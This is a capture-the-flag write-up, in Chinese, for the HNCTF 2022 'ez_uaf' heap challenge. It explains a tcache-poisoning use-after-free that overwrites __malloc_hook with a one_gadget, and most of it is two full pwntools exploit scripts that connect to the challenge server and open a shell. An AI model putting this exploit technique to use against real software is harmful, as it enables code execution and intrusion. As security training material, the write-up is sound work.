tcache + malloc_hook

Problem: [HNCTF 2022 WEEK4]ez_uaf

思路

泄露libc 然后打malloc_hook

EXP

一开始不知道大于0x410可以不进tcache
用的填满打的 本机可以打通 不知道为什么远程打不通 看了一下log 获取的libc_base不对 好像截断了。

  from pwn import *
context.log_level = 'debug'
p = remote("node5.anna.nssctf.cn",23814)
#p = process("./ez_uaf")
#r = remote(host,port)
e = ELF('./ez_uaf')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')

def new(size,name,content):
    p.sendafter(b'Choice: \n',str(1))
    p.sendafter(b'Size:\n',str(size))
    p.sendafter(b'Name: \n',name)
    p.sendafter(b'Content:\n',content)

def free(idx):
    p.sendafter(b'Choice: \n',str(2))
    p.sendafter(b'Input your idx:\n',str(idx))

def show(idx):
    p.sendafter(b'Choice: \n',str(3))
    p.sendafter(b'Input your idx:\n',str(idx))


def edit(idx,content):
    p.sendafter(b'Choice: \n',str(4))
    p.sendafter(b'Input your idx:\n',str(idx))
    p.send(content)

new(0x80,b'qwq',b'a'*0x80)
new(0x80,b'qwq',b'a'*0x80)
new(0x80,b'qwq',b'a'*0x80)
new(0x80,b'qwq',b'a'*0x80)
new(0x80,b'qwq',b'a'*0x80)
new(0x80,b'qwq',b'a'*0x80)
new(0x80,b'qwq',b'a'*0x80)

new(0x80,b'qwq',b'a'*0x80)
new(0x20,b'qwq',b'a'*0x20) # fake 8




for i in range(9):
    free(i)

show(7)
main_arena = u64(p.recv(7)[1:].ljust(8,b'\x00'))
log.success("main_arena=>"+hex(main_arena))
fake_fastbin = main_arena - 0x7b
log.success("fake_fastbin=>"+hex(fake_fastbin))
new(0x60,b'qwq',b'a'*0x60) #9
free(9)
edit(9,p64(fake_fastbin))

new(0x60,b'qwq',b'a'*0x60) #10


libc_base = main_arena -88 -0x18 - libc.sym["__malloc_hook"]
log.success("libc_base=>"+hex(libc_base))
one_gadget = libc_base + 0x10a2fc
payload = b'a'*11 + p64(one_gadget)
new(0x60,b'qwq',payload) #11
#attach(p)
p.sendafter(b'Choice: \n',str(1))
p.sendafter(b'Size:\n',str(10))

#edit(0,b'c'*0x80)
p.interactive()

后面换成0x410不进tcache就可以打通远程了

  from pwn import *
context.log_level = 'debug'
p = remote("node5.anna.nssctf.cn",23814)
#p = process("./ez_uaf")
#r = remote(host,port)
e = ELF('./ez_uaf')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')

def new(size,name,content):
    p.sendafter(b'Choice: \n',str(1))
    p.sendafter(b'Size:\n',str(size))
    p.sendafter(b'Name: \n',name)
    p.sendafter(b'Content:\n',content)

def free(idx):
    p.sendafter(b'Choice: \n',str(2))
    p.sendafter(b'Input your idx:\n',str(idx))

def show(idx):
    p.sendafter(b'Choice: \n',str(3))
    p.sendafter(b'Input your idx:\n',str(idx))


def edit(idx,content):
    p.sendafter(b'Choice: \n',str(4))
    p.sendafter(b'Input your idx:\n',str(idx))
    p.send(content)

new(0x410,b'qwq',b'a'*0x410) #大于等于0x410不进tcache
new(0x20,b'qwq',b'a'*0x20)
new(0x30,b'qwq',b'a'*0x30)
free(0)
show(0)
p.recvuntil("\n")
main_arena = u64(p.recv(6).ljust(8,b'\x00')) 
libc_base = main_arena - 96 - 0x10 - libc.sym["__malloc_hook"]
log.success("libc_base=>"+hex(libc_base))
one_gadget = libc_base + 0x10a2fc
free(1)
free(2)
edit(1,p64(main_arena-0x7b))
new(0x20,b'qwq',b'a'*0x20)
new(0x20,b'qwq',b'a'*0x20) #4
edit(4,b'a'*11+p64(one_gadget))
#attach(p)

p.sendafter(b'Choice: \n',str(1))
p.sendafter(b'Size:\n',str(10))
p.interactive()

总结

tcache题还是知道的特性少了.